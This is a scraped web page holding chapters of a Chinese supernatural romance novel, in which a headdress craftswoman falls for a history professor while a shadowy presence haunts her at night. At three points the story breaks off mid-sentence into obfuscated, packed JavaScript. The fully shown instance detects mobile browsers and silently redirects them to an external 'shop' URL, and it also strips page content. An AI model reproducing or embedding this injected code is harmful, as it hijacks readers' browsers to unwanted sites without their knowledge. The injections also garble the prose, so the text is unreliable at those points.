须臾之间,许菱烟的大脑像卡帧的视频,眼前闪过某人的背影,速度快到她来不及判断那是谁,却能清楚感知到对方散发出的傲慢、冷漠。 以及... 源于自己内心最深处,一股微妙的惊悸。 4. 沈渠 突如其来的闪回比那晚的梦游更诡异,许菱烟揉了揉泛痛的太阳穴,隐约感觉这位教授似曾相识。 刚想循着对方投来的视线定睛细瞧,身后有人站起来,椅面自动弹起折叠,哐得撞上椅背,闹出不算小的动静,立即被话筒尖锐的电流音掩去。 许菱烟被吓了一跳,短暂离体的魂魄迅速归位。 什么背影,什么虚实,什么探索欲,在这一刻统统烟消云散。 有个男学生从过道匆匆跑过,径直上台,把手机交给教授。 男人道声谢,沉闷的音色通过话筒传遍礼堂各个角落。分明不含有任何多余的情感,听起来却像引诱一样。 坐在许菱烟旁边的小姑娘被这嗓音弄得浑身酥麻,连手机也顾不上玩了,倾身靠近同伴,用手挡着嘴巴,开始兴奋地咬耳朵。 许菱烟正埋着头翻包,把素描本,一沓厚重的资料,以及卡通玩偶笔袋一样一样放在桌上。 那道充满磁性的声线当然也传入她的耳朵。 在一片漆黑中,她缓慢地眨巴着眼,因为刚才自作多情的内心活动而尴尬:...怎么能随便怀疑人家是在关注她呢? 也太无礼了。 - 诚如那个热情的小姑娘所说,沈教授讲述历史知识的方式非常生动有趣,压根不需要搞一些虚头巴脑的手段烘托氛围,再配上一把优越的嗓子,不疾不徐的语速,堪称一场极致的听觉盛宴。 许菱烟真想跪求他开个播客。 可惜人的专注度有限,将近两个小时的讲座,多的是人熬不住溜号,没一会儿,拎着一瓶饮料或奶茶悄悄返回。 旁边的小姑娘也和朋友们去楼上的展馆玩了。 这一排只剩下许菱烟一个人。 她当然也没在听,聚精会神地修改头冠草图。 男人发现观众席的人越来越少的情况,先把既定的内容快速讲完,扫一眼手机屏幕,距离自由提问环节还有十几分钟。 他轻抿唇,故意停顿了一阵。 突兀而来的安静,致使观众席的人纷纷抬起头,神情疑惑。 许菱烟的动作也静止了。 投射在大屏上的那张脸格外平静,并没有被夸张的离席率惹恼的征兆,似乎仅仅因为讲太久感觉累了,暂时歇一会儿,喝口水润润嗓再继续。 许菱烟判断没什么要紧的事,低下头,打算接着改稿。 男人令人着迷的声线通过喇叭扩散,心平气和:“趁着还有一些时间,我给大家分享一段发生在北邳时期,称得上传奇的爱情故事,嗯...也算八卦。感兴趣的人不妨留下来听一听,要走也可以,不强求。” 话音未落,台下立即响起交头接耳的窸窣声。 全世界人类共同的特点之一,谈起八卦就发狠了忘情了不要命了,与之无关的事统统得往后放。背着包准备离开的人重新坐下,刚进门的人也弯下腰慌慌张张跑回位置,生怕错过接下来的任何一个字。 许菱烟亦不能免俗,眼睛瞪得滚圆,炯炯有神。 男人却没急着开口,确认没再有人离场,示意靠近门的同学去关一下。趁这时候,他又拧开瓶盖仰头喝了一口水。 对着台上的镜头从始至终没有移开过,因此这一幕也落入许菱烟眼中。 她的心脏咚咚撞击着肋骨,像养了一头猛兽正在不安分的捣乱,脑子不听使唤了,只知道直勾勾地盯着屏幕,观察他线条分明的脸、上下起伏的喉结,泛着水光的红唇一张一合。 后知后觉自己竟然在脸热。 许菱烟闭了闭眼,深呼吸,努力平复心情,认真听故事。 男人如清泉一般,又带着一丝丝磁性,饱含成年魅力的嗓音钻入耳膜。 “北邳前中期,艮山沈氏势力逐渐发展起来,之后成为北方的一流高门,骠骑大将军沈明谦作为艮山沈氏的著名先祖,他的功绩为家族奠定了坚实基础。今天要讲的就是,他和爱妾之间,那段不为人熟知的爱情故事。” 以免有人追问一些有的没的,搅乱叙事节奏,他补充道:“我姓沈,据说祖上是艮山沈氏一脉的。儿时祭祖的时候,听老人讲过这段故事,印象比较深刻,但真实性无法考究,大家就当听个乐。” 这话无异于宣布“我家有关系,掌握的都是第一手情报”,听起来极其可靠,瞬间把观众的胃口吊足了,个个儿坐得笔直,求知心切。 见状,男人没再卖关子,不慌不忙地张口。 “北邳严格实行‘门阀内婚’的规矩,子女的终身大事由父母完全主导。而且,婚姻重视嫡庶,要求正妻必须出自同等的世族,这就意味着,婚姻变成了维系政治权力的工具。” “这位沈大将军文武双全,带着累累军功返回家乡时刚满十四岁,同年底,由他父亲做主,娶了另一个军事贵族叶氏的女儿做正妻。” “两人原本就没有感情基础,被家里人强摁着成为了夫妻,从一开始就怨怼不停。过了三年,情况丝毫没有发生改变,反而越来越坏。” “家里被闹得鸡飞狗跳,两个人不合到极点却离不了,叶氏常常跑回娘家哭诉,将军也烦得没心思干正事,一来二去,事情传到皇帝耳朵里,他干脆给将军派了个外出的闲散差事,短暂隔开这对年轻气盛的夫妻,让双方都冷静一下。” “上任那天,正巧赶上当地的斋会活动,不论男女老少全都前往寺庙祈福,街上人山人海,非常壮观。将军换上寻常百姓的衣服,也去凑热闹……” 说到这儿,男人专门停了停,给大家留出消化和缓冲的时间。 许菱烟正听得起劲,故事突然中断,一颗亢奋的心脏被卡在不上不下的位置,躁挺死了。 一旁的小姑娘却无聊极了,趴在桌面打瞌睡,兀自咕哝:“好俗套的情节。同样的故事,言情小说里早就写千八百遍了。” 许菱烟笑得很亲切,纯粹好奇发问:“什么样的情节呀?” “就...在异乡遇见真爱呗。”小姑娘被突然放大在眼前的一张过分漂亮精致的脸所蛊惑,心肝一直控制不住在颤抖。 虽然自己的取向为异性,但长相太标致的人不分男女,冲击力都是一样强烈的。 小姑娘不自然地撩了一把凌乱长发,慢慢坐正了,声音低低的、绵绵的,听起来很乖顺,也很腼腆:“两个人肯定有身份差距,被现实因素影响着虐来虐去,但却爱得义无反顾。反正最后肯定会如愿在一起,表达出相爱抵万难的主旨...这么一个传统和看似圆满的庸俗故事。” 许菱烟沉思片刻,感觉她说得很有道理,竖起大拇指夸:“好厉害。” 小姑娘以为她故意打趣自己,心情更加忸怩,脸都红透了。 实际上,许菱烟确实没怎么看过这一类作品,不论影视还是文字。 在男女感情这方面,她开窍的太晚。 中学时代,别人上课偷摸看言情杂志,讨论哪班的哪个男生又聪明又帅气的时候,她正专心研究雕刻书,磨练技术,忙着在各类手工艺大赛上拿奖。 直到上了大学,受到陷入爱情而变疯狂的室友们影响,许菱烟终于有意识的开始寻找心仪对象,结果,和别人约了几次会就受不了了。 许菱烟不清楚大部分男性的脑子是用什么构建的,为什么简单的认定一起吃饭等于可以牵手,牵手等于可以拥抱,拥抱等于可以接吻,接吻等于两人可以进行更深入的肢体交流…… 许菱烟真的不抵抗恋爱,反而蛮向往父母一样真挚纯美的感情,只是接受不了太快速的接触,这会让她感觉不被尊重,爱情就像男人为了哄骗她满足私-欲,特地扯得一块遮羞布。 而她并非没有一套对于理想型的标准。 无外乎温文尔雅、踏实稳重、寡言有分寸,哪怕外人眼里他的个性或事业略显古板老成,统统没关系。 她喜欢一切慢节奏的事和人。 许菱烟再一次托着下巴看向屏幕,喟叹,仅从外表和这场演讲判断,这个男人简直太对她的胃口了。 机会易失不易得,她真的很想勇敢一把,问人家要个联系方式。 不像话的念头一旦萌发,就如同饿急了的野兽蠢蠢欲动,以至于她没在意后半段故事具体讲了什么,只依稀听见小妾死于婚后第二年开春,同日,将军殉情,因为重重规定阻碍,两人无法葬在一起。 同小姑娘讲得传统结局不一样。他们相知相爱短暂相守,只有分离是永永远远的,漫长岁月中,什么都没留下来。 男人又说,或许还有另一种可能。 将军和叶氏没有夫妻之实,一生只有一个爱妾,而他那一脉并没断代,由此推断,他们应该有个孩子,很幸运地活下来了。 “不过,这就是更野的的野史了,目前还没被证实。”他很轻地笑了笑,笑意不达眼底,透着一丝不易被察觉的自嘲。 许菱烟感同身受一样地叹气:真是,好悲怆的一场爱。 结束之后,礼堂里的人陆陆续续离场。小姑娘挎上包,转身要走,但脚步顿了顿,攥紧拳,鼓足劲,转回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“许老师,久仰大名,今天终于有机会见到本人了。” 如此动人的一把嗓子靠近听又是不一样的滋味,许菱烟无法自控地红了耳朵,“您认识我啊?” “当然,之前在网上看过你很多获奖作品,还参加了年初的全国非遗展览会,你制作的朝霞冠外观精美,称得上百分百还原历史,令人钦佩。” 快到礼堂关门的时间,男人做了个手势,示意她边走边谈。 许菱烟忙不迭跟上,好一会儿才从被人当面称赞的小得意中恢复冷静,她翻开素描本最新一页,给他看修改之后的稿图。 “我最近在制作一顶具有北邳风格的新娘头冠,可惜能查到的可供参考的资料太少,只能按照自己的见解,摸索着设计。今天难得有这个机会,想请您给看一看,如果能得到您的几句指导就太荣幸了。” 男人接过来,却先瞥了一眼她的手。 肌肤莹白细腻,指腹有一层薄薄的茧子,相比起这一行的其他人,她的手已经非常完美了,平时肯定没少花心思保养。 男人没多看,视线转移到素描本上,分辨出凌乱的线条勾勒出的大致轮廓,他怔了一下,眼神顿时变了,像是意料之外的震惊。 许菱烟捕捉到他眉宇间细微的触动,小心发问:“哪里不对?” 男人缓缓吸了口气,恢复持重的模样,“这是你根据相关资料还原的,还是纯粹个人的创作?” “个人创作,”回忆起过程,许菱烟仍觉得神奇,“原本以为没有足够的参考资料,设计起来会很困难,但我一拿起笔,脑子里立马呈现出头冠的模样,就像亲眼见过一样,连细节都清晰可见。” 男人眼底翻起汹涌的暗流,表面不动声色。 “非常完美,没有任何需要修改的地方。” 他说:“小沈选择你,果然没错。” 莫名其妙的一句,许菱烟愣了愣。 小沈,哪位啊...? 选她没错又是什么意思。 一瞬之后,许菱烟心头突然涌入一种诡异的预感,如梦初醒般露出惊讶的表情:“难道你就是那位表哥?” 小沈指的是沈绍元,她的客户。 男人听见‘表哥’这个称呼,眉头轻蹙一下,心底异常抗拒。 “沈渠,我的名字。”他说。 问渠那得清如许的,渠。 5. 菱烟 许菱烟只顾着震惊这段奇妙的缘分,完全没在意对方名字的写法。 “没想到会这么巧,”她看着他,模样倒映在他眼里,明眸皓齿,出水芙蓉一样,声也清脆,“既然您没问题,回头我再问问另一位沈先生的看法,如果两位都赞成这个方案,我就开始着手制作了。” “不用问了。这件事,我能做主。” 沈渠推开玻璃门,夹杂着潮湿气息的热风迎面吹来。 许菱烟有点呼吸不畅,用手扇风,讪讪地笑。 “按照合同要求,我必须得征询一下客户的意见。毕竟这是那位沈先生的人生大事,他和他的新娘肯定很关心头冠的设计方案,这份反馈对我来说很重要。” “他这么跟你说的?说他要结婚,头冠给他的新娘戴?”沈渠停下脚步,看向她时丝毫不掩揶揄,嘴角还噙着一丝笑。 因为长相太帅,气质又出众,随便一个动作或表情都含着隐微暗昧。 许菱烟睫毛忽然哆嗦的厉害,匆匆忙避开和他对视,脸颊发烫。 “小沈先生说是他人生只一次的大事,东西用料昂贵珍稀,头冠又点名是做给新娘的,所以...我以为要用来办喜事...” “办喜事这个说法也对,但跟他的婚姻没关系。” 沈渠摸了摸口袋,要找什么却没找到。 他请她稍等,拿出钥匙解锁车门,从驾驶位探身进去。 一条长腿在车外撑着,另一条腿弯曲,膝盖抵着车座,伸长胳膊的同时上半身也探向后排。 从许菱烟的角度,清清楚楚地看见衣摆随着他的动作上移,展露出健壮紧窄的一节侧腰,肤色正常,没有被灯光照射时显得那么惨白,肌肉呈现锯齿状,像鲨鱼两侧的腮裂。 许菱烟错愕地瞪大眼,感觉头顶升起一股焦味儿的浓烟。 怔然一秒,她赶忙低头,反复默念非礼勿视,余光却有自主意识般往不该看的地方看。 被扯起一小段的裤腿之下,凸起的踝关节,小腿绷紧的线条,还有腰臀比、长腿,宽阔背肌…… 这些部位,比她学美术时画过的所有模特都更接近完美。 继想问他有没有开通播客的念头之后,她又想问他要不要考虑搞个艺术模特的副业。虽然他不缺钱,可她诚心给他开高价。 沈渠很快从车里钻出来,手里拿着一张彩色纸。 许菱烟接过,发现是历史舞台剧的海报,应该是初版,演出人员的名字还没印上,反面也全空白。 画面上,有个女人背对而坐,身着婚服朝向一面铜镜梳妆,可细看又处处充斥着吊诡的感觉。 新娘没有头冠,黑如墨般的长发披散在背后,一侧似有风吹来,发尾卷起层层叠叠的波浪,经过电脑后期处理之后很像张牙舞爪地恶鬼。 说不清原因,许菱烟只觉得这一幕似曾相识,凉意慢慢渗透到血液里。 她轻微地打了个激灵,把海报还给他,强颜欢笑:“所以,小沈先生定制的其实是演出道具?” “嗯。”但这么说,无法表达出其中包含的深意。 沈渠思考几秒,再次开口。 “我家的情况比较特殊,长辈们多数从-政从商,不想继承祖业的晚辈中也有人和我一样,从事教育或医疗行业,只有小沈这些年一直执着于历史舞台剧的相关工作。待在国内乖乖把金融系念完之后,他瞒着所有人,独自跑去国外念导演系,发誓说,做不出成绩就不回家。” 许菱烟表示理解。 这跟通过学习艺术努力获取文凭,或养成一门手艺以此改善人生的孩子们不同,有资产且不缺人脉、途径的家庭,往往会理所当然的把孩子视作继承自身理想的载体,觉得艺术可以当成兴趣爱好,但不能当成生存的本钱,值得用一生奋斗。 ...上一辈。 不,不止上一辈。 只要是人,生命就总有走到尽头的那天,可理想无穷无尽。那些完成不了的、成为心病的、不管好的坏的、所有的事,都被老人们强加给孩子们接着完成。 所以人才要繁衍,美其名曰:传承。 “为了筹备舞台剧,小沈和他团队的人费尽心血,还专门请我来做文化顾问。一则是想拼尽全力在这一行拿出个亮眼的成绩,向那些持反对意见的人证明自己,不成功就乖乖放弃梦想,回去继承家业。” “另一则,除去国内,他打算把作品带到国际舞台上,宣传中国的历史文化。” “对他来说,这确实是人生只一次的大事。” 沈渠看着她的眼睛:“许老师是非遗手工艺领域的佼佼者之一,能和你合作是我们的荣幸,但必须承认,除去八万春,我们当初还有很多其他更优质的合作对象。” “小沈非常执着的选择你,是觉得,你们同为艺术工作者,对创作有同样真挚热忱的心,或许能够产生思想上的共鸣。我也希望,许老师的作品对于表演是锦上添花的存在。” “……” 许菱烟发现,沈渠提及表弟时的口吻和神态严肃到不像同一辈人,更像个年长了不知道多少辈的祖先,无奈于后代们的顽固偏执,又舍不得看其中任何一个个体放弃梦想沦为平庸,不得不出手帮一把。 他的眼里看不出多少怜悯,说的话却像感同身受。 紧接着,她品出他的言外之意。 平时跟人打交道多了,许菱烟察言观色的能力可以媲美她精湛的刀工,她无比笃定,他看得出自己刚才在心里默默翻滚过得“传承”一说。 而且,他显然误解了,以为她在从事艺术的道路上经历过和沈绍元一样的反对和挣扎,靠着坚韧不拔的精神力才走到如今的高度,便简单判定她能成为值得自己信赖的同伴。 实际上,许菱烟的父母一直足够尊重她,支持她的一切决定,从不会因为自身未完成的课题强制要求她什么。 他们最大的心愿就是她能踏踏实实做想做的事,除此之外的所有困难,由父母负责铲平。 在这样一个把孩子当作健全人的家庭中长大,许菱烟原本不应该萌发出刚才那套理论,充斥着被辜负的怨怼,以及对某一批人极致的仇恨,更像谁把自己的阴暗面彻底剖开,强制她看清楚,因为冲击力太大,她一直记到现在。 可那个人是谁呢? 她完全没印象了。 “...许老师?”沈渠挥了挥那张海报,刮起一小股风。 许菱烟霍地回神。 她对上他冷的长相和极具反差感觉的温润眼色,难为情地摸了摸耳垂,应声:“您放心,既然接了单,我一定会竭尽全力的。” “嗯,”沈渠垂眸,脸上分明笑着,却好像没有表情,“沿用现在的方案就好,不必再做其他修改。前几天你发来的簪子图,已经足够漂亮了。” 幸亏天色足够黑,停车场的光线昏暗,许菱烟一时没发觉异常,因为他模棱两可的回复荡漾了一下心神,努力把话题调整到正事上来。 “如果方便的话,还要麻烦您和小沈先生商量定了,另签一份合同,”她解释,“不然我没办法完全听从您的意见。” 沈渠非常配合,当面儿给沈绍元发了条微信。 往常要一个轮回才有下落的人竟然也有秒回的时候,许菱烟感觉到深深的不公平,在心底偷啧了一声,又扬起自认为最完美的笑容,回答:“那我明天一早把电子合同传给您,您抽空签一下。” 沈渠颔首,揣起手机。 正经事聊完,许菱烟道别,转身欲走,突然听他叫住她。 许菱烟疑惑:“还有事吗?” “如果百度百科上有关你的资料没出错,那我们作为同龄人,就别互相喊老师或尊称了,听起来真挺别扭的,你认为呢?” 沈渠倚着车门,环起双臂,右腿没抻直,是完全放松的姿态。 他睨着她,好整以暇地问了这么一句。 许菱烟眨巴一下眼睛,几乎是立刻感知到男女交往时的那一层心照不宣,心脏鼓鼓跳动着。 “那该怎么称呼...你?”她小心翼翼地问。 “都行,你随意,”他并没给出一个明确的答案,又把问题抛还给她,“你呢?” “唔,都...” 许菱烟险些脑袋宕机说出一模一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许菱烟哗得从水里站起来,伸长胳膊去拿响了有一阵的手机,顺便拢了下头发,全部撩到浴缸外。 叶婉筱记挂着许菱烟梦游惹下的麻烦事,工作完特地打电话问她还需不需要法律援助,结果被迫听她念叨了很久有关那位沈教授的事儿。 “等一下。” 趁许菱烟拿洗发水的间隙,叶婉筱终于找到插话的契口:“你对人家是生理性喜欢?” 噗嗤噗嗤摁压泵头的声音静止一秒,许菱烟歪了歪头,真的不太懂:“什么意思?” 她以为这种萌动叫作一见钟情。 “就是...一种生理本能、自然反应,原始、直接,不依赖于理性思考。”叶婉筱这么解释。 许菱烟认真回忆了一番和沈渠相处时的心理活动,很坦然地承认了。 叶婉筱咯咯地笑起来,调侃她是个小花痴,看热闹不嫌事大地问:“那你们互换联系方式没?” “嗯,早就交换了。” 许菱烟缓慢揉搓洗发水,气泡之后一点一点摸到长发上,很平静地抛出一枚巨雷:“他就是客户的表哥。” “——天!!” 叶婉筱目瞪口呆,不得不感叹一句:“这段缘分到来的方式也太罗曼蒂克了。” 许菱烟没吱声,迈出浴缸,去花洒下方冲洗泡沫。 水流倾泻,泡沫变成绵白的水流沿着面露轮廓蜿蜒,她紧紧闭着双眼,指腹穿过发缝轻柔按压头皮,因而没发现外间灯光有一刹的闪烁,不及零点一秒的黑暗中,似乎有什么快速经过,小股旋风通过门缝进入帘子遮挡住的内侧,紧接着,被热浪吞噬。 许菱烟快速洗干净头发,关掉淋浴头阀门,取下毛巾擦拭。 电话另一头传来叶婉筱泛着倦怠的哈欠声:“簪子的事儿,你有没有问客户?” “已经解决了,放心吧。” 许菱烟放掉浴缸里的水,用浴巾裹住身体,仅露出锁骨以上的肌肤,白中透粉,隐隐蒸腾着雾气。 年前被烫坏的长发被各种营养品和美发项目养回来不少,洗过之后泛着光泽,宛如漆黑藤蔓攀附在雪白后背上,依稀散发着香味儿。 跟叶婉筱寒暄两句,互相道过晚安之后,许菱烟挂断电话,唰得一声拉开帘子,推开玻璃门出去,站在干燥的毛巾上等脚底的水吸干,穿上拖鞋。 将将转过身,她看见折叠整齐的睡衣,就放在门边的置物柜上。 6. 鬼捏青 ——咦? 她刚才有把睡衣拿进来吗。 拿手机的时候怎么没发现。 ……记不太清了。 泡澡泡太久,脑子昏昏沉沉的。 许菱烟没深想,解开浴袍,换上舒适到仿佛才熨烫过的睡衣,检查一遍门窗全部关严实,又给工作间上了第二道锁,这才拖着沉重的步伐,回楼上的卧室睡觉。 - 卧室内开着空调,门窗紧闭,拉上厚重的帘子之后整个房间内透不进一丝光,像一只完全密封的、黑咕隆咚的盒子,刚巧给某个只能生存在暗处的东西,营造出一个完美的滋生环境。 浓稠的墨色如同纸片一般从墙壁上撕下来,于地面打了个旋儿,变成一抹摇摇晃晃的雾气,再怎么努力也压根结不成任何形状,干脆便维持这副模样,跌跌撞撞的向前延伸。 躺在被窝里的睡美人对发生在现实中的一切毫无戒备,睡着睡着感觉到热了,就把两条细白的胳膊伸到被子外。 那东西仿佛突然找到了目标,贴着垂落的床单向上爬,原本含糊成一团的深色逐渐分成一缕缕没有实体的长条,分别缠绕住她的手指,情人之间爱-抚一般蹭着、磨着她皮肤上所有纹路。 待到所有长条如愿挤入她的指缝中,摆出十指相扣的姿势,雾气渐渐重新归拢到一起,墨色彻底掩盖住雪白的躯体。 许菱烟沉睡中不自觉放缓放轻的呼吸,顶着被子小幅度起伏,墨团伏在上方,便也跟着起伏。 或许这种类似“你中有我,我中有你”的相处方式足够亲密,刺激到‘它’其实并不存在的神经,一整团倏然发癫般狂颤起来,紧接着,以迅雷不及掩耳之势拉长,变为与成年男子相等的身长,完完全全、密不透风的将她罩住。 而‘它’带来的浓稠、湿冷的气息区别于空调冷气,许菱烟的身体立即有所反应,开始下意识往被子里缩,胳膊上也冒出一层鸡皮疙瘩。 但她没醒,睡脸仍然安详。 床头点着一根安神香,效果明显,许菱烟比平时夜里睡得更沉。 ‘它’发现这一点,立即从长条中分出更多更纤细的长条,肆无忌惮抚上许菱烟的脸颊、长发。 尤其是长发。 乌黑浓密,光泽熠熠,滑若丝缎。 与她这人一样,美得惊心动魄。 就算嗅不到香味儿,单想象一下就让‘它’欣喜若狂,引起长条震颤不已,反复捻揉她身前的那一缕发,似乎觉得这样还不够亲近,又慢慢伸入她发丝中纠缠。 同样细密、浓黑的东西掺杂在一起,难以分清谁是谁,像是共生关系。 靠近许菱烟脸颊的那一端低了低,膨胀又收窄——一套似人般深呼吸的动作。 再往下,那个或许可以被称作躯体的地方飞速瘪下去,恢复成最开始紧贴墙壁的纸片状,类似人放松下来彻底陷入他人怀抱中的姿势,‘它’恨不得藏入许菱烟身体里面,发现没办法做到,只能退一步,安静地依偎着。 在无法描述的角度,‘它’对许菱烟的观察从没停止。 如果眼神可以化为实物,势必贪婪又软烂,如重物一般沉沉压在她的心口,成为她感受这份爱的证据。 可惜,许菱烟睡得格外安稳,兴许永远不会知道,这天夜里自己曾被一个不知道算作什么的玩意儿搂着、抱着、紧密依靠着,更不会知道‘它’无法宣之于口的,如疯如魔的稠浓迷恋,同样在这个阒寂的夜晚,化为一道短暂到容易被认为是电器失灵发出的滋啦声—— “妻。” “...我的,妻。” - 之后很长一段时间内,许菱烟和沈渠的线上往来变得非常密切。 她感觉自己重新度过了一次轻狂的青春期,和陷入青涩-爱恋的少女们毫无区别,一颗心全然投入与他有关的事上。 每天睁开眼第一件事,先点进微信看沈渠有没有回复前一晚的消息。 如果有,那么许菱烟一整天都喜滋滋的,工作时特有干劲儿。反之,免不了失落难受,心脏像被挖空了一块,干什么都投入不进去,时不时就要点亮手机屏幕看一眼。 听见接收消息的铃声,整个人顿时变得精神抖擞。 一旦确认是沈渠发来的,许菱烟立即丢开手头的事,趴到床上,翘起双腿,哼着不成调的小曲,盘算怎么回复才能不着痕迹的把话题延续下去。 一个人经历这段煎熬又甜蜜的时光还不够,许菱烟爆发出前所未有的分享欲,闲暇时间全用来拉着叶婉筱一起分析聊天记录,尝试从沈渠的只言片语中咂摸出那么一丝丝别样的感情。 叶婉筱愁得脑袋顶两个大。 “你俩从早到晚聊得全是正经事,互相分享历史资料的次数,比问候彼此吃没吃、睡没睡、醒没醒还多,这样能看出什么来?” 她扶额叹息,就差把“小傻子,与其纠结这些有的没的,不如先了解一下和男人搞暧昧究竟是怎么一回事”这句话摆在明面上说了。 而且,依据叶婉筱的经验,男人面对有好感的女人,忍耐许久仍不主动释放暧昧气息的可能性几乎为零。 那么,只有一种情况,男人完全没有这方面的心思,仅仅为了工作才愿意频繁聊天,许菱烟的求爱之旅注定漫长艰苦。 这种猜测太恶毒了,叶婉筱说不出口。 于是转移话题:“马上到秋分了,那套头面还没做完?” “已经进入收尾阶段了。”许菱烟站在镜子前,一手拎着一件衣服,轮番往身上比划,转而又开始摆弄头发,挤眉弄眼的做表情,臭美得很。 “中秋节前一天,你能抽出空不?” 叶婉筱把“淘汰”的衣服收拾齐整,一件件挂回衣柜里,“这个把月你总泡在工作间,大门不出二门不迈的,早晚憋坏了。卢桃快回来了,到时候让她守着家,你和我一起去聚餐。” 许菱烟爽快地点头,慢了一拍想起问:“都有谁呀?” “毕业之后留在本地发展的,不就咱们七个人么,”说着,叶婉筱格外麻利地建了个群,扫了一眼陆续加入的成员,补充,“还有老朋友带的新朋友。” “行呗。” 在鹄白、苏梅、缥碧三色之间犹豫很久,许菱烟最终还是选了一条缥碧的裙子,打算换上给叶婉筱看一看效果。 在穿搭这方面,她作为专业人士的意见肯定没错。 叶婉筱拦了一下:“别慌。” 许菱烟:“?” “叔婶把你生得貌若天仙,随便套个麻袋都漂亮。” 叶婉筱环起手臂,眼睛微眯,审视的意味十足,“别告诉我,你打扮自己半天,是在准备和沈教授八字还没一撇的下一面。” “其实已经有一撇了。下月中旬,我要把做好的东西当面交给他。”许菱烟赧赧地捂着脸颊,长睫毛频繁忽闪,眼睛直勾勾盯着对方讲话时,透着一股娇气的动人。 叶婉筱没戳穿闺蜜难得一见的少女情怀,换了个委婉的方式问:“这月你弄不完?” “当然不是。” 许菱烟:“他老家有事,这月得回去一趟。” 很平淡,又很亲昵,且充满生活气的答案。 完全超越了甲方和乙方交往的界线,也很明显区别于妾有意郎无情。 叶婉筱明了,不再问了。 前阵子两人忙得不可开交,好不容易腾出空闲可以共度周末,叶婉筱没回家,直接在这儿住了两天一夜。 白天许菱烟在工作间忙碌,叶婉筱就在三楼悄声找乐子,各干各的事。夜里关了灯,她们钻进被子里说悄悄话,快活的忘记所有世俗烦恼,就像回到无忧无虑的童年。 只是聊着聊着,叶婉筱突然坐起身,拧开床头灯。 昏黄柔和的光线洒落,照出藏在被子底下只露出小半张脸的许菱烟。 她刚洗完澡不久,身上的热乎气还没消散,一双被水雾熏过的眼睛无比柔润,玻璃珠一样清透,“...怎么了?” 叶婉筱掀开被子一角,拉出许菱烟一条胳膊,探头去看大臂后方比较隐蔽的位置。 “刚才你一翻身,我偶然间瞥见了,”她蹙着眉,语气也异常严肃,“这么大面积的一块淤青,你什么时候、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094224|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从哪儿撞的?不觉得疼?” “...啊?”许菱烟被吓一跳,赶紧扒拉胳膊,脖子快拧折了也没看见什么,便让叶婉筱拿自己手机拍了一张。 照片上只有一条细白又纤细的手臂,皮肤干净光洁,除去接种疫苗留下的疤痕,连一颗痣都没有,因此显得那片从大臂后方一直延续到腋窝附近的淤青格外触目惊心。 许菱烟结结实实地哆嗦了下,大脑对这段经历一片空白,“不清楚...我最近没梦游呀,可能是干家务的时候不小心磕着碰着了,位置隐蔽又不疼,所以一直没发现。” 叶婉筱比了比,有四根手指并拢这么大。 她感同身受地龇一下牙,轻轻摁着淤青边缘,担心地问:“真不疼?” “不疼,”许菱烟也反手去摸,认认真真感受一番,毫无不适感,“没什么大事,放一阵儿自然而然就消掉了。别管这个了,快躺下,咱们接着聊天。” 关了灯,两人脑袋挨着脑袋,继续说悄悄话。 因为这场小插曲,叶婉筱的思绪从专注吐槽电视剧情节转移到别的方面,拉着她的手开玩笑,“我还以为,是谁掐着你腋下紧抱了很久留下的痕迹,这位置也太暧昧了。” 许菱烟知道她指的谁,又赧又恼地反驳:“那你经验很多喽,看一眼就知道。” 两人你一言我一语的拌嘴,但没有火药味,说着说着就凑到一起笑个没完。 “——诶,你知道不。” 话锋一转,叶婉筱又想出个逗她的馊主意:“乡下老家的人,都管这个叫鬼捏青。” 许菱烟没听说过:“什么意思?” “是鬼在夜间趁人熟睡的时候掐捏形成的淤青。” 意识到叶婉筱说了什么,许菱烟想捂住耳朵却已经来不及了。 她短促地叫了一声,立即转过身,用行动阻止她讲鬼故事,实则吓得开始胡言乱语:“不听不听王八念经……我太困了,困得要死,现在眼睛一闭就能睡着,你别跟我讲话了。” 叶婉恶作剧得逞,顿时感觉身心舒畅,拉高被子躺平,悠闲自得地闭上眼,“晚安,胆小鬼。” “……” 周天晚上,许菱烟亲自送叶婉筱离开,回来时发现玄关处的灯怎么都摁不亮了。 最近家里的电器常常莫名其妙的出故障,音响总有滋滋啦啦的电流声,微波炉老是不到设置时间就停……工作室的台灯数不清坏了多少次,只能买一盏新的,结果新的也接触不良,光线一直频闪。 气得许菱烟掐着腰大骂它一顿,没想到还真管用了,灯光轻微地扑闪两下之后,再没闹过岔子。 刚安生几天,又换了个地方坏,且坏的毫无征兆。 许菱烟无奈地叹气,打开手机电筒,去储存室拿备用的灯泡。 储存室在户外阴暗僻静的角落里,红锈铁门,横杆上挂着一把沉重的锁,钥匙就丢在门框上。 许菱烟踮起脚摸索了好一阵,蹭了一手的灰,终于拿到了。 一打开门,伴随着吱呀响,灰尘和腐朽味儿扑面而来,呛得她咳嗽不止,赶紧抬手挥开眼前的浮尘,站在外边等味儿散一散才进去。 里头放得都是一些陈年旧物和应急用的东西,平时根本派不上用场。 许菱烟太久没进过这里,记不清灯的开关在墙上的具体位置,索性放弃,义无反顾地扎进未知黑暗里。 或许因为这儿是她已经生活了很久的地盘,熟悉感多少降低了她的防备心,以至于黑阴角落里那个疯狂扭动着跟上来,转瞬间便融入她影子里的雾团没被发现。 手机电量告急,光线也越发黯淡。 黑夜从四面八方袭来,如一张巨大的网,悄声收拢。 